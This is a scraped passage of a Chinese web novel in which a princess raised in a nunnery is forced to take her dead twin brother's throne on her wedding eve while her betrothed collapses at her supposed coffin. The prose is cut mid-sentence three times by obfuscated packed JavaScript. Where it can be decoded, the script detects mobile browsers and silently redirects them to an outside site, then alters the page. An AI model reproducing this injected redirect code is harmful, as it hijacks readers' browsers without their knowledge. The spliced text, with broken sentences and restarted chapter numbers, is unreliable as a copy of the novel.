《大婚当天我被迫登基了》 1. 第一章 母女 大楚靖宁二十年冬。 金陵大雪。 烟灰色的天空深黯阴沉,大风呼嚎,掀动雕漆大门,连带猩红色的厚毡帘也被风拂起,六出雪花携着清冽寒气入室,落在妆台上的铜镜之上。 长乐公主萧含光呵了一口气,雪花化水蜿蜒而下。镜中明媚媗妍的少女面庞被雪水浸湿,变得面目模糊起来。 忙碌的宫人们兀自不觉,她们捧来珠玉盈盈的妆匣,为即将出嫁的公主试明日的新妆。十几个经验老到的宫娥围着她,依次为她着嫁衣,画花钿,点靥妆,戴华胜,簪步摇,佩璎珞,务必使一切完美无缺。 萧含光如提线木偶一般,由着她们动作。直到最后,为首的宫人长呵一口气:“成了,公主看看,可还满意?” 萧含光抬头向镜中望去,镜中女子云鬓花颜,一袭大红衣衫如染烟霞,那里还有昔日药师庵使女“阿苦”的半分模样。 她从不曾着这般亮色,忽觉得有些不认识自己了。 长乐公主萧含光,乃是本朝皇帝萧胥的孙女。虽为公主之尊,却自幼长于尼庵,人称之“阿苦”。 萧胥戎马一生,建立大楚王朝,偏偏子息不盛,一连四子,都幼年而殇,唯有第五子成年,娶妃苏氏,成亲不久殁亡,遗腹留下一对双生儿女。可惜因为双胎早产,这一双儿女也身体孱弱,难以养活。萧胥恐一双孙儿也未长夭亡,问道于护国寺高僧觉通禅师,禅师云皇帝一生征战,杀人太多,子息不得天佑,难以永年,唯有双生儿中一人舍去亲缘,自幼出家奉玄,每日于佛前诵经祈福,方得消此业孽,保萧氏一门子孙绵长。 皇帝自然不舍太孙,敕命年方三岁的公主入药师庵出家。 王妃苏氏不舍爱女,也不敢抗命,亲自将公主送到庵堂受戒。彼时,公主虽只三岁,一头秀发已如云如瀑,当静仪师太为公主剃度之时,王妃心生不忍,抚着公主的乌发,大恸道:“吾儿年幼,尚不记事,安可剃发,从此青灯古佛,了此一生?弟子愿从此吃斋茹素,一生礼佛,与吾儿同担此业,求师太允吾儿带发修行。”苏氏取身上金银簪环,献于沙门,保住了公主的头发。 仪式将终,静仪师太为公主起法号。苏氏望向跪在蒲团上的小小身影,想到从此要与爱女天各一方,终究抱着爱女泣泪如雨:“吾儿,莫怨阿母。纵使你生于皇家,不受饥寒。可尘世如刀斧,总有数不尽的苦等你来受……” 静仪师太心有所感,叹道:“世间有情,悉皆是苦。母亲生子是苦,母子离别亦是苦。入沙门修行,就是舍情脱苦,得大解脱。王妃既不舍亲缘,本师就为公主起法号阿苦,愿公主记得她的母亲。” 于是,“阿苦”就成了公主的法名。 *** 风雪愈催,殿内清寒愈甚,玉盒中的黛眉都冻成硬邦邦一团。宫人们不得用热水将黛眉化开,为公主点翠羽,画凤眉。 殿外传来内监尖细的嗓音:“苏王妃驾到——” 宫人们手忙脚乱地停下手中的活计,乌泱乌泱地跪伏了一地:“参见王妃——” 吱嘎—— 栖凤宫的大门向两侧打开,猩红毡帘一动,宫娥们簇拥着一人携风雪缓步而入。那是一位年约三十七八的妇人。妇人一身素衣,不饰簪环,却自显出温淑贞静的风仪。她两鬓已染霜华,眼角堆着细密皱纹,当她朝萧含光瞧过来的时候,那些细纹便舒展开,晕染出慈容来。 那是寡居十八年的苏王妃,皇太孙萧樗和萧含光的母亲苏氏。 萧含光盈盈下拜:“阿……阿苦见过母亲……” 听得“阿苦”二字,王妃脸上笑容淡了一分,将她扶起,对左右道:“你们都出去吧,我要同公主单独说话。” “是。”满室的宫人一空,唯留下母女二人。 苏氏去捉着萧含光的手。萧含光在药师庵长大,直到近日敕命下达,命她下嫁庐江宋氏的长公子宋海晏,才有鸾车将她接回金陵。她自记事起,与母亲也不过见过寥寥数次,也不习惯这般亲近温存,不由自主地将手避入袖中。 苏氏手捉了个空,她微微一愣,也明白虽血缘至亲,然多年睽违,公主未必与她亲近。可唯一的女儿出嫁在即,母女之间未必还有这般夜话的时机,她一生的心事也未必还有吐露之时。 她重新伸手,拉着萧含光在铜镜面前坐下,微笑着说道:“长乐,你自幼便奉皇祖父之命,在药师庵出家,为大楚王朝祈福。阿母从来不情愿,皇命之下,也无可奈何。‘阿苦’只是你在药师庵时的法名,如今陛下已经下了旨意,下嫁庐江宋氏长公子宋海晏。母亲特请了一道旨意,封你为长乐公主。我儿苦尽甘来,‘阿苦’此名,你也无需再用。以后你就是长乐,阿母希望你康宁有福,长乐忘忧。” 苏氏将萧含光头上簪环一一取下,将她的发髻打散,现出如垂练悬川的长发来。她轻轻抚过女儿的长发,又取了玉梳,仔细梳理,一边道:“长乐,在阿母的家乡,女儿出嫁的前一晚,母亲要亲自为女儿梳头,讨个好彩头。那宋家儿郎阿母也打听过,听说他生得相貌堂堂,文武双全,为了娶你煞费苦心,我儿能有此归宿,阿母从未有哪一天像今日这般喜悦……” 风声簇簇,伴着母亲嘤咛的耳语:“今日也没有旁人,你给阿母说说,你可愿意嫁他?” 妆镜前一双红烛跳跃着,萧含光望着镜中的温婉妇人,听着耳边的殷切话语,感受着头上温柔的抚弄,她忽然想起一些她从前只听师太说过,却从来未曾有过清晰记忆的画面。 那是在十五年前的药师庵,母亲抱着她,轻抚着她的头发,哀哀泣泪向静仪师太求告:“吾儿年幼,尚不记事,安可剃发,从此青灯古佛,了此一生?” 不知为何,昔日抱着爱女、不肯叫她剃发的母亲忽地和此时此刻替她梳头的妇人重叠起来,透过那一面铜镜,显于她的眼前。于是她也看到,在笑容之下,在不易被人察觉之处,母亲眼角压抑住的泪水化作蜿蜒溪流,顺着眼角的细纹淌入鬓下。 那是与女儿暌违重逢的喜悦,也是即将与爱女分别的不舍。可母亲不说重逢,也不提离别,不提往昔的歉疚,也不问此刻是否已得到原谅,只问她一句:“你可愿嫁他?” 母亲这个词,也第一次在她的生命中显得温暖明亮起来。 在药师庵的十六年岁月,她与母亲之间的纽带只有一个名字。 曾有人对她说,名字是一个人的符号,是为人父母对孩子未来的想望和祝福。 因为希望她记挂自己的母亲,静仪师太为她起名阿苦。 她曾厌憎自己的名字,也连带着厌憎母亲这个词。谁人的母亲生下孩子,就是为了抛弃这个孩子,让她独自一人在尘世受苦呢? 可此时此刻,母亲给了她另外一个名字。 长乐。 长乐而忘忧。 这才是母亲对她的想望和祝福。 于是萧含光想起山野之中那翩如白鹤的少年将军,他明天就会来迎娶她。如果嫁给他,她往后余生或许便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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军士冷道:“等公主见了皇后娘娘,自然便知。公主,请吧——” 他微微抬手,身后的军士从两边分开,让出中间的道来。萧含光知形势不由人,此刻容不得她说半个“不”字,只好起身,向殿外走去。 苏王妃追了上来:“等等,我同你一道去。”却被军士拦下,“王妃娘娘,皇后娘娘只见公主一人,懿旨已下,命您回西苑等待消息。” 苏王妃意欲强闯,可她微薄之躯又怎敌得过甲胄加身的武士,终究被阻拦在后,大声喊着“长乐,长乐——” 军士道:“娘娘,这是皇后懿旨,望娘娘勿要抗旨,令末将等为难。”萧含光忍不住回头,道:“阿母,您先回去吧,女儿会保重自己,也望阿母珍重。我见了皇后娘娘,再去西苑看您。” 苏王妃遥遥望了女儿一眼,见她一袭红衣立于风雪中,显出不动声色的沉静,似乎并不为突如其来的变故惊慌,知她终究已不是三岁时离了阿母就会大哭不止的孩童了。她停下脚步,脱下外面斗篷,道:“雪天路寒,椒房殿离此甚远,长乐穿了斗篷再去。” 萧含光从军士手中接过斗篷,用它裹住内里的红色嫁衣,在军士的护送之下踏雪向椒房殿而去。 青冥者苍苍,洪荒者茫茫。雪深盈尺,飞絮沾衣。在这触目的极寒中,萧含光到底是感到了一丝丝的暖。 那是她睽违十五年的,属于母亲的温度。 2. 第二章 祖孙 萧含光行到椒房殿时,见殿外满是身披铠甲、手握长戟的禁卫,寒光闪闪,将椒房殿围得水泄不通。 带她前来的军士上前,同守在殿前的禁卫首领低语了几句,禁卫让出一条道,待她入内,椒房殿的大门在她身后缓缓关上。 青铜树灯架上的荧荧烛火照亮殿内情景,上首的凤座之上,端坐着一位玄色宫装的老妇人。妇人一头银发整齐地盘成高耸的发髻,髻上凤钗金翅张扬,红宝石点缀的凤目凌厉,似要振翅而飞。虽年逾六十,她身量依旧挺直,背脊未弯分毫。青螺黛画就的眉山锋利上扬,恰如两柄寒剑,眼眸狭长,幽黑深沉,不经意间的一扫,便叫人胆寒。 萧含光远远一瞥,再不敢细看,她伏跪于地,道:“孙女长乐,拜见皇后娘娘——” 凤座之上久不闻声响,萧含光在雪地里行来,双腿早冻得麻木,又跪在这冰冷的地板上,几乎失去知觉。但皇后不说话,她万不敢有任何动作,只当这一双腿不是长在自己身上。 不知过了多久,才听到上首传来声音,悠悠荡荡,听不出任何情绪:“长乐,你的母亲倒是给你选了个好名儿,你可知本宫传唤你,所为何事?” 萧含光将头低到尘埃里,道:“孙女不敢说。” 上首之人冷哂了一声,“不言不知,反言不敢说。说吧,不管对或不对,本宫恕你无罪。” “是。”萧含光壮着胆子道:“《礼记》有云:‘礼之于正国也,犹衡之于轻重也,绳墨之于曲直也,规矩之于方圜也。’天子嫁女于诸侯,是国之大礼,不可轻废。如今宋氏亲迎,就在明日,皇后娘娘在此时取消婚仪,不是因为皇后娘娘不知大体,失信于臣属,而是因为发生了比婚姻之礼更重要的大事……” 她说到这里,便缄口不言。皇后眼神一睐,透着幽幽冷光:“说下去——” “是。孙女从栖凤殿一路行来,各处宫室都杳然无声。唯到了椒房殿,见刀山剑林,水泄不通,不似寻常……”萧含光一咬牙,将最后一句吐出:“孙女斗胆揣测,想必国有大丧——” 上首之人长身而起。萧含光感觉皇后的目光似鹰隼一样落在她身上,似乎要将她从皮肉到肺腑都穿透,那寒凉之意直入骨髓,连周身血液都要冻结成冰。 她承受着这样的注视,不敢有分毫的动作。 良久,在她以为自己就要僵死的时候,终于听到皇后寒凉的声音:“国有大丧……你说得不错。长乐,你的皇爷爷死了,你嫁不成了。倒是你敏锐沉着,是个能成事的,不像你那个无用的哥哥……” 皇后重新坐回凤座,呵道:“来人,带她下去洗脸更衣——” 急匆匆的脚步从外涌入,萧含光感觉有人将她已无知觉的躯体从地上拖了起来,拉到一处耳房。数名宫人围着她,取下她身上的簪环配饰,用冷水绞过的帕子擦拭她的脸,洗去早前涂抹的红粉青黛、油膏腻脂,又脱去她身上的红色嫁衣,取过一套男子的衣服皂靴给她换上,又将头发以玉冠束起,换作男子的装束。 她尚不及厘清个中因由,已经再次被带到了皇后跟前。 皇后这次走近了些,仔细端详了她片刻,满意道:“果然是一母同胎的双生兄妹,简直是一模一样。” 萧含光按捺不住,问道:“皇后娘娘,这是何意?” 皇后深深地看了她一眼,道:“你随本宫过来。” 一名宫人提灯在前,萧含光跟在皇后身后,穿过回廊,转入一处偏殿。偏殿四壁设以白幔,四角各有一座十五连盏铜灯,白烛映着雪光,更显白光刹刹。 萧含光定神看去,见偏殿正中停了两具灵柩。 她心中一跳,国有大丧,她已有预料。她的爷爷萧胥今年六十有八,早年征战留下的沉疴发作,御医们束手无策,就连药师庵的静仪师太也曾被请到金陵为皇帝请脉。静仪师太回来之后心怀忧虑,言皇帝恐怕活不过今年冬天。 可另外一具棺木是—— 她低头看向自己身上的衣服,袖口以金线勾勒出繁复的云纹,两道金龙暗纹隐现于云间。这应是她的哥哥,大楚皇太孙萧樗的衣服,萧含光心中顿生不祥预感。 “你是个聪明的孩子,本宫就长话短说。”皇后道:“皇太孙身体先天不足,又不知节制,昨夜与宫人胡闹无度,睡后不起。今早皇帝听闻消息,病情急转而下,龙驭归天。如今我大楚北方尚与北魏交战,皇帝久病,朝堂上下人心浮动,只怕吹风草动,酿成巨变。国不可一日无主,本宫思来想去,唯有以你代替萧樗,以皇太孙的身份在灵前继位,方可保一国一朝之安宁。以后再无长乐公主萧含光,你就是萧樗——” 萧含光只觉天旋地转,脑海中一片空白,只听得自己低弱的气音:“那和宋家的婚事……” “婚事自然作罢——”皇后忽地提高声音,面带怒色:“宋家父子拥兵自重,以淮南战事为要挟,威逼皇帝,非要将你从庵堂请出,以公主的身份下嫁他宋家,此等行径,与乱臣贼子又有何异?若非战事焦灼,还有用他父子的时候,本宫又岂能容他——” 萧含光足下踉跄,跌坐在地。 被圈禁在药师庵的那些日子,她曾以为她这一辈子都无法离开那方寸之地。日诵经卷,夜守青灯,直到青丝白发,了此一生。 在鸾车接她回金陵时,她几乎不敢置信,却也只敢设想祖父将死之前终于良心发现,记起自己还有一个孙女。她从未想过,那偶然间闯入药师庵的少年将军竟敢为了她,冒天下之大不韪,要挟皇家,触怒天颜。 “你放心好了。本宫已想好了绝佳的理由,长乐公主水土不服,又因天降大雪,感染风寒,不幸去世。你哥哥和你面目一无二致,本宫已命人将他遗体做女子装扮,谅那宋家小儿也辨认不出。”皇后冷呵一声,声音近乎怨毒:“若非宋家以婚事威逼,你又怎会离开药师庵?若非你违背当年觉通大师之言,你哥哥又岂会横死?这一桩公案,本宫迟早与他宋家清算——” 萧含光抬头,见皇后虽是斥骂宋氏,那怨毒的目光却如刀如匕,落在她身上。 是了,皇后有理由恨宋家,自然有理由恨她。 按觉通大师的说法,她该在药师庵一辈子诵经祈福,方能保萧氏子孙福寿绵长。宋海晏横插这杠子,叫公主诵不成经,念不成佛。于是她哥哥寻欢过度而死,也成了她和宋家的罪过。 可凭什么? 凭什么她就该三岁离开自己的母亲,在庵堂里过着清苦的生活?凭什么祖父杀人的罪孽需要她一人承受? 就因为她姓萧吗? 可如今这华堂之下的主子,谁不是萧氏之人? 又凭什么她好不容易可以脱离药师庵,又要因为这与兄长肖似的脸孔,套上另外一层枷锁,再次被囿于这名为皇宫的囚牢? 她一个长于庵堂的孤女,满朝文武一个不识,又如何能做皇帝?不过是他人手中的傀儡罢了。 她缓缓起身,惨淡一笑:“皇后娘娘,长乐驽钝,不堪大事,恐负皇后娘娘之望。” “长乐,自你踏入椒房殿的那一刻,公主身亡的讣告便已发出。这皇帝你能做得做,不能做也得做——”皇后面沉如水,声音陡然拔高:“长乐,莫忘了你还有一个母亲——” 萧含光脸上瞬间失了颜色,只剩下死灰般的惨白。 她怎么忘了,在栖凤殿下达的凤诏有两道。一者,召她到椒房殿觐见,二者,命王妃苏氏回西苑,无诏不得外出。 皇帝、太孙一朝尽丧,她那可怜的母亲一无所知,还一心为女儿准备那注定不会再有的婚仪。以皇后的娘娘的手腕,软禁已经是很温和的手段,更有可能,她的母亲此刻已经不在西苑了。 皇后早已安排下一切,根本没有她进退的余地。 她双膝落地,声音艰涩喑哑:“长乐……不,萧樗愿照皇祖母的吩咐行事……” “很好,我就知道你是个懂事的好孩子。”皇后终于露出满意的笑容:“明日下午,宋家亲迎的队伍就会入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我还听说北魏那边打不过宋家大军,为了拉拢宋家,派出特使到庐江,不仅愿意将皇后所出的新安公主嫁给小宋将军,还愿意许以侯爵之位。可你猜怎么着,咱们小宋将军,为了长乐公主,亲自斩下了北魏使节的脑袋。我倒真想看看,那长乐公主是何等仙姿玉貌,值得他宋海晏付出这般代价也要求娶——” 宋海晏控缰回马,脸上现出一抹极明亮的笑容,“松声,思明,母亲这次叫你们跟来,是请你们当傧相,到婚礼上替我挡酒,可不是叫你们拿我凑趣。你们想早点见到公主,就少说这些废话,赶紧跟上——” “驾——” 白马似乎感知主人心意,嘶鸣一声,放开四蹄向前狂奔。雪后的官道没有行人,一片壮阔无垠,只遥见前方的大城。宋海晏信马由缰,任马蹄溅起漫天雪沫,落在身上、面上,却觉天地间再无这等畅意之事。 驰骋到金陵城下,宋海晏已出了一身热汗。 城门口,宋家在金陵城的管事宋吉候在道旁,神色焦急。遥见宋海晏三人驱马过来,连忙迎上,牵过马缰,将三人带到城墙僻静无人处,低声道:“公子,金陵城出事了。陛下薨了,今日婚仪已经取消了……” 赵松声陆思明神色都是一变。事到临头,还能出这种意外。 “老皇帝怎地这不中用,也不多等我一日——”宋海晏踢了踢马腹,脸上笑意未减:“罢了,有没有婚礼无所谓,只要肯让我带走公主就行。再不济,也不能让她回药师庵,他们总不至于连这事也要反悔吧……” 陈吉嘴角一抽,“还有一桩事,宫中传来消息,长乐公主昨夜感染风寒,也不幸辞世,将与皇帝一起入葬,请公子节哀……” “你说什么?”马上的人脸色惊怖,身形摇摇晃晃,几乎坐立不住。 陈吉面露不忍之色,深吸一口气:“长乐公主自药师庵回到金陵,水土不服,又因天降大雪,感染风寒,发了急症,于昨夜病亡……大丈夫何患无妻,公子你……” 他话音未尽,宋海晏已直挺挺从马上坠下。 3. 第三章 君臣 陆思明眼疾手快,飞身下马,将宋海晏扶住,转头看向宋吉:“宋伯,这些消息确定是实吗?你们知道海晏的性子,他可经不起这样的玩笑,这其中莫非还有别的变故?” 陈吉哭丧着脸:“确实是宫中消息,句句是实。老奴就算再向天借一百个胆子,也不敢拿公主的事同主子开这样的玩笑。” 宋海晏先前乍闻噩耗,一阵眩晕,以至从马上坠下,这会勉力提起心神,想要再次扶鞍上马,“我不信她会死,三个月前,我与她分别,她身体康宁得很,怎么小小的风寒就会死?” 他恨声道:“定是他们萧家言而无信,拿这些鬼话来诳我,再将她关到一处暗无天日的尼庵,去念那劳什子的佛经……就算这世上父母亲人无一人爱她,也有我爱她……我要去救她出来,我要去救她……” 他踉踉跄跄扶蹬而上,却手脚发软,几次跌倒。陈吉将他扶住,红了眼眶:“公子,没有人诳你。宫门前已有黄门等候,说是等公子到了,便领去栖凤殿,见公主最后一面。” 赵松声和陆思明对视一眼,都在对方眼中看到了深深的不忍。 宋海晏却仿佛没有听到,他一双黑眸曈曈,深得迫人。他推开陈吉,“我不信,我不信,你们一定都是诳我。阿幸……是了,阿幸在栖凤殿,她在等我,她在等我娶她……我要去娶她……” 他不知忽然从那里来了力气,拔缰上马,踏过雪街,向宫城而去。 “不好,阿晏这是疯了,要出事——”陆思明顾不得许多,连忙上马追了上去。 宋海晏行到宫门前,见黄门郎扶着一位十七八少年立于御阶之上,少年衰裳垂绖、缟素加身,哀容戚戚,却难掩丽质清姿,不是他朝思暮想的阿幸又是何人? 宋海晏喜甚乐甚,从马上扑跌而下,转瞬已到了少年跟前:“阿幸,他们诳我,说你死了。我就知道你没死,你不要做公主了,我来带你走,我带你走——” 他就要去捉少年的手,却被黄门郎踢了一脚,滚落御阶之上。黄门郎斥道:“眼瞎的东西,睁大你的狗眼瞧瞧。这可不是公主,昨夜皇帝薨逝,今日上午皇太孙已在灵前即天子位。冒犯天子,尔知何罪吗?” 宋海晏身上本来有伤,此刻呕出一口血来,他怔怔看着少年,目睛不眨:“可你明明就是阿幸,是药师庵的阿苦,是天家许给我的妻子。” 萧含光双手紧紧攥在袖中,她不敢有任何的动作,不敢有任何的表情,也不敢说任何的话语,只当自己是庵里那些泥胎塑成的佛像。 这世上最了解她的人,不是她的母亲苏氏,不是她的师父静仪师太,而是眼前的少年。叫宋海晏见到她却认她不出,本是最不可能的事。 “糊涂。当今天子与长乐公主本是一母同胎的双生兄妹,自然样貌相同。”黄门郎声音尖细:“宋将军见君不拜,是欲造反吗?” 这时,陆思明终于从后面赶上,连忙将宋海晏按跪在地上,将头压在雪地里,禀道:“陛下,我这表兄在城门口听闻公主死讯。失魂落魄,神思混乱,有些疯疯癫癫的,以至认错了人。冲撞陛下,还望恕罪。” “我没有认……唔……”宋海晏还没说完,陆思明的手从后面按了下来,埋到雪地里,冷雪呛了他一嘴,最后两字也在风雪中消音。 黄门郎瞥了萧含光一眼,示意她说话。 萧含光口中含了麻核,声音喑哑:“公主殁亡,宋将军心中伤痛,朕怎会怪罪,两位请起吧——” 陆思明拉着宋海晏站了起来。 黄门郎道:“太皇太后有旨,说长乐公主回宫一日病亡,宋将军必定不信,说不定以为天家悔婚,私藏公主。命陛下亲自领宋将军到栖凤殿一观长乐公主的遗容,也好死心。太皇太后还说了,公主无福,以后宋将军可自行婚娶,天家绝不干涉。” 宋海晏瞳目一张,看向萧含光:“除了阿幸,我谁都不娶。” “您娶不娶是自家事,小人只是个传话的。如今话已传到,两位,走吧,最后去看一眼公主——”黄门郎扶着萧含光的手臂,陆思明拉着宋海晏在后,沿着雪后的御道,向栖凤殿而去。 一夜过去,栖凤殿昨日用于婚嫁的红绸锦缎都已被撤去,代之以用于丧事的白幔纸幡。红色喜烛换成白蜡,喜堂换做灵堂。 人生机遇殊难预料,萧含光昨日坐在妆台前,如提线木偶一般被宫人们摆弄时,绝不会想到今日的她会成为另外一种的提线木偶,一言一行只能听随高位者的心意而动。更不会想到,婚礼会变成丧仪,她分明还活着,却不得不带着本应出现在婚礼上的新郎来瞻仰“自己”的遗体。 她不敢回头看宋海晏。 她害怕他真的会相信她已经死了。如果他信了,那这世上也许再不会有人记得她了,也不会再有人对她说:“名字是一个人对另外一个人的想望与祝福,阿苦这个名字太苦了。我要将我全部的幸福分给你,以后我就叫你阿幸……这样你就会得到幸福……” 可她也害怕他竟始终不肯相信。如果他在灵堂上还要继续纠缠,事情闹出去,势必会让更多的人怀疑她的身份,祖母绝不会轻易放过她。 她心中忐忑难明,一步一步踏上栖凤殿的长阶,迈过门槛。她走过“自己”的灵柩,立于上首高处。她对自己说,萧樗,你是萧樗,你不是长乐公主,你根本不认识宋海晏,他会怎么样和你没有关系。 然后,她听到一声凄惶的悲鸣:“阿幸——” 萧含光猛地回头,看到灵柩之中,“长乐公主”的遗体已被鲜血沁染,宋海晏扶着棺木的手垂落,整个人倒落殿中,发出哐当一声闷响。 鲜血从他前胸后背涌出,洇湿了他身上的血色红衣,将汉白玉沏成的地板染成怵目的红。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138393|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆思明惊惶大喊:“不好,表哥旧伤复发了,快请御医——” 萧含光下意识要朝他靠近,她知道宋海晏身上旧伤,那是三个月前他试图带她离开药师庵,被禁卫一箭射中胸口,差点神死。虽然后来静仪师太尽力救治,到底是留下暗伤。 她走了两步,终究停步,发号施令:“快请御医。” 御医很快来到,他稍微把脉便眉头深皱,不管三七二十一撕开宋海晏的上衣。于是,她看到宋海晏全身上下竟全部是纵横交错的狰狞伤口,这些伤口本未彻底愈合,这会又重新裂开,血流不止。 饶是见多识广的御医也深吸一口气,问道:“小宋将军怎会伤重如此,这是何人所为?” 陆思明两眼涌下泪来,道:“六个月前,宋家大军在宝瓶口大战与北魏交战,阿晏眼睛受伤,听人说药师庵的静仪师太医术高明,往药师庵求医。两个月后,表兄伤愈回家,说药师庵有位公主,非要娶公主不可。老宋将军大怒,说他想害死宋家满门,将他不饮不食吊了三日,连藤鞭都抽断了九根,只想让他歇了这份心思。” “可阿晏是头犟驴,被打得皮开肉绽,硬生生捱了三日,就是不肯松口,这一身伤就是那时所留下。宋老将军本想将他打死,以免贻祸满门。是宋夫人跪求,又有军中众将一起求情,说宋家这些年镇守庐江,也算有功于朝廷,阿晏十五从军,这些年薄有微功,求娶公主也不算过分,众将自愿联合上表求婚,万一陛下不允,也好教阿晏歇了这份心思,总不能看着他被活活打死。” “不意半月之后,陛下竟果真愿意许公主。阿晏本来一身鞭伤,沉疴难起。后来听闻这桩喜讯,才慢慢有了生气。五日前从庐江出发时,他身上的伤根本没好,他生怕误了日期,一路从庐江车马劳顿来到金陵。”陆思明神情哀恸:“可以说,阿晏勉力支撑到金陵,全是为了娶公主这点念想。如今公主死了,他只怕也活不成了……” 萧含光后退两步,靠着一根珠子才勉强立住。她手上的指甲掐进皮肉里,却丝毫不觉得疼痛。 眼眶的热泪不敢落下,她咬破自己的舌尖,将血含在口中,慢慢品尝着那一丝血腥的苦味。凭此,她那双没有知觉的身躯才能拘住自己的灵魂的重量,不教自己失控奔向那倒落在地的、奄奄一息的躯体。 神思迷茫之间。 她仿佛回到了三岁那年,本该在母亲怀里安睡的那个孩子被带到了药师庵。 她不知道发生了什么,懵懂地看着周遭的一切。 直到她听到了禅院的钟声,众比丘尼的诵经声,听到母亲不忍与爱女离别的痛哭声,也听到了静仪师太那一声叹息。 世间有情,悉皆是苦。 原来,不管是母亲还是阿晏,都不能给她以祝福。 她不是长乐。 她不是阿幸。 她是阿苦。 4. 第一章 佛龛落梅 江南的早春,天气尚寒。 阿苦早起时,见佛龛座下陶罐中的白色梅花花瓣散落,连余香都散尽,唯剩枯瘦的枝杈。 她披衣出门,行到阿难殿旁,见那株绿萼梅树已褪尽了昨日素白,枝头残蕊如倦蝶垂翼,零落的花瓣似一场未融尽的雪,簌簌扑向佛殿青苔斑驳的石阶,竟是再难折一支春色。 她正欲回身,忽然瞥见佛殿檐后探出一抹孤白,花瓣薄如蝉翼,在枯枝上乍破出几粒玉珠。虽仍是那一株绿萼,那截枝条因为朝北,又被屋檐遮挡,花期竟晚了数天。 她攀上栏杆,折下枝条,带回禅房,又从井中汲了新水,换了陶罐中的残水,将白梅清供其中。做完这些,她梳理了一头长发,用木簪挽了个髻子,戴上妙常冠,向经堂走去。妙常冠垂下的白色飘带与如瀑如川的青丝交错,晨风拂过,更显清影绰约。 道上已有了不少同时参加早课的沙弥尼与比丘尼【1】,只是大家都是一身青灰缁衣,以布巾缠头,她一身与众不同的装扮在人群中格外扎眼。 她听到众尼的私语声。 “看,那狐媚子又来了。这庵堂里也没男人,不知打扮成这样是要给谁看……” “瞧她那走路的姿态,羽带飘摇的,都比别人轻浮些……” “人家毕竟是公主嘛,出身高贵,怎么能跟咱们一样?你们没瞧见,她每日早起,都要以陶罐供花,装模作样的,以为自己很清高,估计还觉得自己生活在皇宫中呢?” “呵,入了这空门,人人平等。公主又如何,还不是每天担水、扫洒、劈柴、捣药、念经,跟咱们干一样的活……” “对了,她叫什么……阿苦……笑死人了,咱们整个药师庵都找不到这般低贱难听的名儿了……” “你们别说了,我听说这名儿可是住持亲自起的,这话要是传到住持耳中,大家今晚都得多念一个时辰的经……” 阿苦充耳不闻,她加快脚步,第一个来到经堂之中。 早课完毕后,众尼纷纷离开,阿苦将《金刚经》默写一千言,供于佛前,再往柴房而去。 药师庵并不是寻常庵堂。这里供奉的是药师佛琉璃光如来菩萨,经书记载药师佛于过去世行菩萨道时,曾发十二大愿,愿为众生解除疾苦,使具足诸根,趋入解脱,故依此愿而成佛。药师佛法相为螺发形,左手持药壶,右手结施无畏印。寓意施行药术,以渡众生。 药师庵住持静仪师太身负秘传医术,堪称佛国妙手,求医问药者不绝,药师庵香火也极鼎盛。 静仪师太秉持众生平等之道,所有弟子除每日修行之外,都需在执事堂领一定的差事。本月阿苦所领的差事是同三位师姐一起劈柴。 她到柴房时,三名师姐已经不在那里了,规定份额的柴只劈了一小部分,余者尽数堆在她的位置上。她知三人故意排挤欺辱她,却也不愿去找她们理论,以免多听一耳朵的污言秽语。至于找执事的长老理论,更是无用之功,就算长老给她分配别的活计,换了新的搭档,也总归一样。在这药师庵,她做的活总是最多的。这一切,不过是因为她比众尼多一头乌发,众人嫉恨她而已。 阿苦将剩下的柴劈完,摆放整齐,撑起发酸的胳膊回房。一比丘尼迎了上来,道:“阿苦,住持让你去见她。” 阿苦待要细问,那女尼已跑了个没影。阿苦只得转步,往静仪师太日常起居的禅堂而去。 禅堂深深,供佛的檀烟和药材的苦香融在一处,飘飘渺渺,氤氲而上,缭绕在巨大的药师佛金身佛像周围。神佛低垂眉目,面容慈悲,似在悯怀一切众生。 静仪师太手持念珠,趺坐蒲团上,双眼微闭,低声诵经。 阿苦双手合十,行了佛礼,道:“师父,您找我。” 静仪师太抬眼,看见面前弟子。少女亭亭而立,纵然一身缁衣,不着铅华,也难掩玉质。秀容沉静,抬眸似天女展颜,垂首似菩萨低眉。那并非释门持戒的空洁之质,而是天生清贵之气,纵然在此清净之地,亦难以彻底掩去。 她心中轻叹,珠玉含光,总是遭人嫉恨。 她说道:“阿苦,沙门虽人人持戒,但你师姐们慧根有限,修行不到火候。我已经劝诫过她们,那些浑话,你不要往心里去。” 阿苦双膝着地,一咬牙,道:“师父,弟子愿意绞去头发。” 静仪师太手中念珠一顿:“为何?” 阿苦道:“佛门之中,众生平等。众师姐师妹既然都剃了头发,弟子也该一样。” 静仪师太摇头:“不可,你并无佛缘,淹留在此,不过因为当年一纸敕命而已。当年你母亲让你留下头发,自你八岁以后每年派遣女学士来庵中,教你诗书礼仪经世之道,你应该知道个中因由。” 阿苦笑容悲苦:“母亲以为我可以离开此地,她不过心怀妄念罢了。” 静仪师太道:“不然,为师前月入宫,皇帝陛下沉疴难起,不过多捱一两年。如果太孙继位,你母亲就是太后,此事并非毫无可能。剃发之事,休要再提。为师如今叫你来,并非为此,而是为了另一件事。” “师父请讲。” 